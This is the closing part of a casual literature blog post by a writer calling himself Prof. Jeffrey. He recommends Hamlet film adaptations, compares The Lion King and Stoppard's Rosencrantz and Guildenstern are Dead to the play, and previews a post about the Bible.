I’ve barely scratched the surface here, so I encourage you to try Hamlet on your own. In fact, try any of the movie versions first; watching Hamlet is far more enjoyable than reading it. I know of five solid adaptations, featuring actors like Sir Laurence Olivier, David Tennant, Sir Patrick Stewart, Glenn Close, Ethan Hawke, and even Mel Gibson.

If none of those versions suit you, just watch The Lion King. Simba is Hamlet, Mufasa is the King, Scar is Hamlet’s uncle, Nala is Ophelia (with a happier ending), Timon and Pumbaa are Rosencrantz and Guildenstern…the list goes on.

David Tennant as Hamlet and Sir Patrick Stewart as King Claudius (2009)

David Tennant as Hamlet and Sir Patrick Stewart as King Claudius (2009)

If you know Hamlet well enough and need even more existential crises, I recommend the play Rosencrantz and Guildenstern are Dead by Tom Stoppard. It’s philosophically funny and expands on Shakespeare’s ideas in the best way possible.

It would seem that Hamlet is just as important for the works it has inspired.


Don’t forget your homework! Reply in the comments: If you’ve read Hamlet before, what’s your favorite part? Why do you like it? Or not like it?

Take a moment to celebrate with me…I’ve been professor-blogging for two months now, and I feel like it’s going well! Grades look good, so you must be learning something.  Keep up the good work, students.

I’m reading my next book, but it will take a while. Next week, I’ll talk about a book I’ve chosen not to reread—the Bible. I know what you’re thinking… “even you, Professor, could stand to reread the Bible.” As it turns out, I have been reading my Bible everyday, and I’m a few chapters away from a years-long goal of reading it cover to cover.  In fact, I’ve studied the Bible since the earliest memories of my childhood, since before I could even read. I even currently work at a church. How do you like them apples?

In any case, next week is gonna be a scream.

Prof. Jeffrey

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